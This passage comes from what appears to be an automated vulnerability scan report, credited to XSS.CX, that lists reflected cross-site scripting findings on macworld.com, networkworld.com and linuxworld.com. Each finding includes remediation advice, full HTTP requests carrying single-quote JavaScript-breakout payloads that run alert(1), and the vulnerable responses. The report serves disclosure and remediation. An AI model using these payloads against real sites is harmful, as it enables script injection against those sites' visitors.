User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:21:58 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
eadCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/newsletters/index8847f'-alert(1)-'93ba796c657';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.70. http://www.macworld.com/register [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /register

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9573f'-alert(1)-'ce0e6324737 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /register9573f'-alert(1)-'ce0e6324737 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:23:36 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
e = pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/register9573f'-alert(1)-'ce0e6324737';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.71. http://www.macworld.com/reviews.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /reviews.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59047'-alert(1)-'430e2d29b5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews.html59047'-alert(1)-'430e2d29b5b HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:15 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.jsp -->
<
...[SNIP]...
pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/reviews.html59047'-alert(1)-'430e2d29b5b';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.72. http://www.macworld.com/weblogs.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /weblogs.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54cb6'-alert(1)-'995e89e398d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /weblogs.html54cb6'-alert(1)-'995e89e398d HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:19:09 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
pcw_readCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/weblogs.html54cb6'-alert(1)-'995e89e398d';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.73. http://www.networkworld.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.networkworld.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5756'-alert(1)-'5c02be9f84e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?c5756'-alert(1)-'5c02be9f84e=1 HTTP/1.1
Host: www.networkworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
nnCoection: close
Content-Type: text/html; charset=UTF-8
Expires: Fri, 17 Dec 2010 02:23:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 17 Dec 2010 02:23:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: Apache=174.121.222.18.1292552622512961; path=/; expires=Sun, 16-Dec-12 02:23:42 GMT
Content-Length: 212179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
gtype: 'homepage',
           subtopic: '',
           freemium: 'n',
           nsdr_auth: 'no',
subtopicid: 0,
outerref: '(none)',
nwchannel: 'Network World',
request_uri: '/?c5756'-alert(1)-'5c02be9f84e=1',
doc_uri: '/index.html',
site: 'home',
rxid: '75931',
nodeid: ''    
};
}();
var jq_nodeid = "";
var jq_request_uri = "/?c5756'-alert(1)-'5c
...[SNIP]...

3.74. http://www.linuxworld.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.linuxworld.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24173'-alert(1)-'a1635436dce was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.linuxworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=24173'-alert(1)-'a1635436dce

Response

HTTP/1.1 200 OK
Date: Fri, 17 Dec 2010 02:17:48 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: Apache=174.121.222.18.1292552268401061; path=/; expires=Sun, 16-Dec-12 02:17:48 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=600
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 212139

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
eneral',
           rxsubtopicname: '',
           pgtype: 'homepage',
           subtopic: '',
           freemium: 'n',
           nsdr_auth: 'no',
subtopicid: 0,
outerref: 'http://www.google.com/search?hl=en&amp;q=24173'-alert(1)-'a1635436dce',
nwchannel: 'Network World',
request_uri: '/',
doc_uri: '/index.html',
site: 'home',
rxid: '75931',
nodeid: ''    
};

...[SNIP]...

3.75. http://www.networkworld.com/ [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.networkworld.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4df74'-alert(1)-'783303cfbe2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.networkworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=4df74'-alert(1)-'783303cfbe2

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
nnCoection: close
Content-Type: text/html; charset=UTF-8
Expires: Fri, 17 Dec 2010 02:23:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 17 Dec 2010 02:23:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: Apache=174.121.222.18.1292552632885382; path=/; expires=Sun, 16-Dec-12 02:23:52 GMT
Content-Length: 212139

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
eneral',
           rxsubtopicname: '',
           pgtype: 'homepage',
           subtopic: '',
           freemium: 'n',
           nsdr_auth: 'no',
subtopicid: 0,
outerref: 'http://www.google.com/search?hl=en&amp;q=4df74'-alert(1)-'783303cfbe2',
nwchannel: 'Network World',
request_uri: '/',
doc_uri: '/index.html',
site: 'home',
rxid: '75931',
nodeid: ''    
};

...[SNIP]...

Report generated by XSS.CX at Fri Dec 17 08:44:37 CST 2010.